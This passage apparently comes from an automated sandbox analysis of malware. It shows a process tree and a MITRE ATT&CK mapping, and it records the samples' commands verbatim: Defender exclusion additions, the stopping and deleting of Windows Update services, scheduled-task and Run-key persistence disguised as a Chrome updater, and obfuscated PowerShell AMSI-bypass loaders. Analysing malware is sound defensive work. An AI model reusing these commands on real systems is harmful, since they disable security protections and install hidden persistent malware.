      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:5576
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:4140
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        5⤵
        
        PID:6868
- - C:\Windows\SysWOW64\Files\db9c0fee.exe
    "C:\Windows\System32\Files\db9c0fee.exe"
    3⤵
    PID:4152
- - C:\Windows\SysWOW64\Files\1488.exe
    "C:\Windows\System32\Files\1488.exe"
    3⤵
    PID:3504
  - - C:\Windows\SysWOW64\Files\1488.exe
      "C:\Windows\SysWOW64\Files\1488.exe"
      4⤵
      PID:1560
- - C:\Windows\SysWOW64\Files\EmmetPROD.exe
    "C:\Windows\System32\Files\EmmetPROD.exe"
    3⤵
    PID:6340
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic computersystem get name, TotalPhysicalMemory /Value && wmic os get caption /Value && wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value && ipconfig | find "IPv4" | find /N ":" | find "[1]"
      4⤵
      Executes a command shell one-liner
      PID:6732
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic computersystem get name, TotalPhysicalMemory /Value
        5⤵
        
        PID:4736
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic os get caption /Value
        5⤵
        
        PID:7156
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value
        5⤵
        
        PID:564
    - - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig
        5⤵
        Gathers network information
        
        PID:6412
    - - C:\Windows\SysWOW64\find.exe
        
        find "IPv4"
        5⤵
        
        PID:5200
    - - C:\Windows\SysWOW64\find.exe
        
        find /N ":"
        5⤵
        
        PID:692
    - - C:\Windows\SysWOW64\find.exe
        
        find "[1]"
        5⤵
        
        PID:6840
- - C:\Windows\SysWOW64\Files\01.exe
    "C:\Windows\System32\Files\01.exe"
    3⤵
    PID:5768
- - C:\Windows\SysWOW64\Files\cabal.exe
    "C:\Windows\System32\Files\cabal.exe"
    3⤵
    PID:2028

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3708

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:2396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
1⤵
PID:4140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5596

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
1⤵
- Executes a command shell one-liner
PID:5540
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1960
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:6100
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5920
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:5900
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:4632
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
  2⤵
  PID:4416
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
  2⤵
  PID:5852
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
  2⤵
  PID:1744
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
  2⤵
  PID:1932
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:2860

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
- Power Settings
PID:5528
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:5800
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:6036
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:5940
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:5908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#vpnaxct#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5520

C:\Windows\System32\dialer.exe
C:\Windows\System32\dialer.exe
1⤵
PID:5348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ayizh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
1⤵
PID:5460
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
  2⤵
  PID:5800

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Files\ChromeUpdate.exe"
1⤵
- Executes a command shell one-liner
PID:5284
- C:\Windows\System32\choice.exe
  choice /C Y /N /D Y /T 3
  2⤵
  PID:5152

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:ZkuUKMIvyEtX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$tYvHFBRZodiAXb,[Parameter(Position=1)][Type]$cpCIamdBLv)$eqztuRaQOVe=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+'M'+'e'+''+[Char](109)+'or'+'y'+'M'+[Char](111)+''+[Char](100)+''+'u'+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+'e'+''+[Char](108)+''+'e'+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'Ty'+[Char](112)+'e','C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c,'+'S'+''+[Char](101)+''+[Char](97)+'l'+'e'+''+'d'+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+'C'+''+[Char](108)+''+'a'+'s'+'s'+''+','+''+'A'+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+'l'+'as'+[Char](115)+'',[MulticastDelegate]);$eqztuRaQOVe.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+'p'+'e'+[Char](99)+'i'+[Char](97)+'l'+'N'+'am'+[Char](101)+''+','+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+'i'+''+'g'+','+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$tYvHFBRZodiAXb).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+'ag'+'e'+''+'d'+'');$eqztuRaQOVe.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+'o'+''+[Char](107)+''+[Char](101)+'','P'+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'H'+''+'i'+''+'d'+'e'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+'N'+'ew'+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+','+'V'+'irtu'+'a'+''+[Char](108)+'',$cpCIamdBLv,$tYvHFBRZodiAXb).SetImplementationFlags('Ru'+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+''+','+''+'M'+''+[Char](97)+'na'+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $eqztuRaQOVe.CreateType();}$AvKrrPfsvFOdz=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'st'+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+'i'+''+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+'.'+[Char](87)+''+[Char](105)+'n'+'3'+''+[Char](50)+''+[Char](46)+'U'+[Char](110)+''+'s'+'af'+[Char](101)+'A'+[Char](118)+'K'+'r'+''+'r'+''+'P'+''+[Char](102)+'s'+'v'+''+[Char](70)+''+[Char](79)+''+'d'+''+[Char](122)+'');$nmuPVaZzrUMnoj=$AvKrrPfsvFOdz.GetMethod('n'+[Char](109)+''+'u'+'P'+[Char](86)+''+[Char](97)+''+[Char](90)+''+'z'+'r'+[Char](85)+''+[Char](77)+'n'+[Char](111)+''+'j'+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+''+[Char](98)+'lic,'+'S'+''+'t'+'at'+'i'+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$QcFeDQSYURZKNgBdApX=ZkuUKMIvyEtX @([String])([IntPtr]);$lHQxjDCTRTBOiDfUrRUHUh=ZkuUKMIvyEtX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YwkIhTtxuLm=$AvKrrPfsvFOdz.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+'e'+'H'+'a'+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+'r'+''+'n'+''+[Char](101)+'l'+'3'+''+'2'+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')));$ckIAyDjacTtCpz=$nmuPVaZzrUMnoj.Invoke($Null,@([Object]$YwkIhTtxuLm,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+''+[Char](114)+'a'+'r'+''+[Char](121)+''+[Char](65)+'')));$RLXFjitEBkkGXYwmw=$nmuPVaZzrUMnoj.Invoke($Null,@([Object]$YwkIhTtxuLm,[Object]('V'+[Char](105)+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+'o'+''+[Char](116)+''+'e'+'ct')));$HzboUmM=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ckIAyDjacTtCpz,$QcFeDQSYURZKNgBdApX).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+'l'+'l');$RjuHuqjkbPPJZNrXs=$nmuPVaZzrUMnoj.Invoke($Null,@([Object]$HzboUmM,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+'S'+[Char](99)+''+'a'+'n'+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$dSiaLfwKrP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RLXFjitEBkkGXYwmw,$lHQxjDCTRTBOiDfUrRUHUh).Invoke($RjuHuqjkbPPJZNrXs,[uint32]8,4,[ref]$dSiaLfwKrP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$RjuHuqjkbPPJZNrXs,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RLXFjitEBkkGXYwmw,$lHQxjDCTRTBOiDfUrRUHUh).Invoke($RjuHuqjkbPPJZNrXs,[uint32]8,0x20,[ref]$dSiaLfwKrP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+'er')).EntryPoint.Invoke($Null,$Null)
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wqNFeQXasyQs{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sPDuEwUFlBLZYs,[Parameter(Position=1)][Type]$YhzWzdirzk)$SxyNSJeZDpf=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'f'+[Char](108)+''+'e'+'c'+'t'+''+'e'+'dD'+'e'+'l'+[Char](101)+''+'g'+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+'o'+'dul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+'p'+'e'+'',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+',P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'e'+[Char](97)+'le'+[Char](100)+''+[Char](44)+''+'A'+'nsi'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+'Au'+[Char](116)+'o'+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$SxyNSJeZDpf.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+'i'+'d'+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$sPDuEwUFlBLZYs).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+'i'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+'n'+'a'+'g'+'e'+'d');$SxyNSJeZDpf.DefineMethod(''+'I'+'n'+'v'+''+[Char](111)+''+[Char](107)+''+'e'+'','P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+'N'+''+'e'+''+[Char](119)+'S'+'l'+'ot'+','+''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'',$YhzWzdirzk,$sPDuEwUFlBLZYs).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+'im'+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $SxyNSJeZDpf.CreateType();}$lpMYZSFSiAcbF=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+'d'+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+'o'+''+'s'+''+[Char](111)+'ft'+[Char](46)+''+[Char](87)+''+'i'+''+'n'+'3'+'2'+''+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](108)+'p'+[Char](77)+'YZ'+[Char](83)+''+[Char](70)+'S'+[Char](105)+''+[Char](65)+''+[Char](99)+''+[Char](98)+''+[Char](70)+'');$BcKxMsYBMQqYpI=$lpMYZSFSiAcbF.GetMethod(''+'B'+''+[Char](99)+'K'+[Char](120)+''+[Char](77)+'s'+[Char](89)+''+'B'+''+'M'+''+[Char](81)+'q'+[Char](89)+''+'p'+''+'I'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+'a'+'t'+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PhndNRboiTewjhUAUjH=wqNFeQXasyQs @([String])([IntPtr]);$IGbaoKVGVYHYLiLkNWgUXa=wqNFeQXasyQs @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$sGJWTrZeBEk=$lpMYZSFSiAcbF.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+'odul'+'e'+'Ha'+'n'+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$QNnSrtMpHwYkSY=$BcKxMsYBMQqYpI.Invoke($Null,@([Object]$sGJWTrZeBEk,[Object]('L'+'o'+''+[Char](97)+''+[Char](100)+''+'L'+''+'i'+''+[Char](98)+'ra'+'r'+''+[Char](121)+'A')));$cHuxHohPqrwMiHhOC=$BcKxMsYBMQqYpI.Invoke($Null,@([Object]$sGJWTrZeBEk,[Object](''+[Char](86)+''+[Char](105)+'rtu'+[Char](97)+'l'+'P'+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$JgYfydo=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QNnSrtMpHwYkSY,$PhndNRboiTewjhUAUjH).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i.'+[Char](100)+''+[Char](108)+''+[Char](108)+'');$iRCvSXziHLJJCznWb=$BcKxMsYBMQqYpI.Invoke($Null,@([Object]$JgYfydo,[Object]('A'+[Char](109)+''+[Char](115)+'iS'+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$oGmgLeMqVb=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cHuxHohPqrwMiHhOC,$IGbaoKVGVYHYLiLkNWgUXa).Invoke($iRCvSXziHLJJCznWb,[uint32]8,4,[ref]$oGmgLeMqVb);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$iRCvSXziHLJJCznWb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cHuxHohPqrwMiHhOC,$IGbaoKVGVYHYLiLkNWgUXa).Invoke($iRCvSXziHLJJCznWb,[uint32]8,0x20,[ref]$oGmgLeMqVb);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+[Char](84)+''+[Char](87)+'ARE').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](101)+''+'r'+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
1⤵
- Command and Scripting Interpreter: PowerShell
PID:856

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:5352
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:6500
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:5848
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:876
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:6180
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:6340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#vpnaxct#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
1⤵
PID:5836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5356 -ip 5356
1⤵
PID:1184

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{fb2f50bf-65d8-478b-832e-98007b7c9f52}
1⤵
PID:4112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5476

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
1⤵
- Executes a command shell one-liner
PID:6480
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:6560
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:6048
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:6932
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:7056
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:5608
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
  2⤵
  PID:5212
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
  2⤵
  PID:5060
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
  2⤵
  PID:3920
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
  2⤵
  PID:6124
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:6656

C:\Windows\System32\dialer.exe
C:\Windows\System32\dialer.exe eajtcgrlzupf
1⤵
PID:6592

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
- Executes a command shell one-liner
PID:4632
- C:\Windows\System32\Wbem\WMIC.exe
  wmic PATH Win32_VideoController GET Name, VideoProcessor
  2⤵
  - Detects videocard installed
  PID:6080

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
- Executes a command shell one-liner
PID:5508

C:\Windows\System32\dialer.exe
C:\Windows\System32\dialer.exe kamuqghozvgymvhu 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeBIUimeqNLefwJkdZRJOrSpmO+0pqHVIfUBcNW7FeU2kln03vvTX/y/UWjqd77Oj6n3ik7eLa+4je8vEqt/7VWAQiSbqcxIf9/eyTznYL1NHfGL3u3mSRFre0xvuBRqyy1eHwP53iDRotrR+JNbF3FMBaMPFnDooLn4DjieMA3ox4N93x1FdLZq6syOH56EJFpRiOcfkfqkJFHkXOmZN9VzjfRS1goxChA+bs6J6EomT7t+NB/UOw/hAfq/3nA/AMY+ksV0gz5RZKvCL6aHlMZLaQZB4owAuD67VqUasg/do50XTWnjsQhDrHF+iUSaGkBPapXZcYe+H2yR18IjNKOkz57D8rmccsoE1w1VL9CUhxjI9DyRo+4WY6QzFZ2Zsiss184MznthyMZdl4KgdZ7cwYGgu0SamXOTOuAqokJHliYZu2u73KDFgmr74ArJD3lqg7kPjwWhMfbsjAN/Op71ss/5+rojpUxZypowqF8OnEU0pkcuW4ufOpssWY82SK
1⤵
PID:6832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

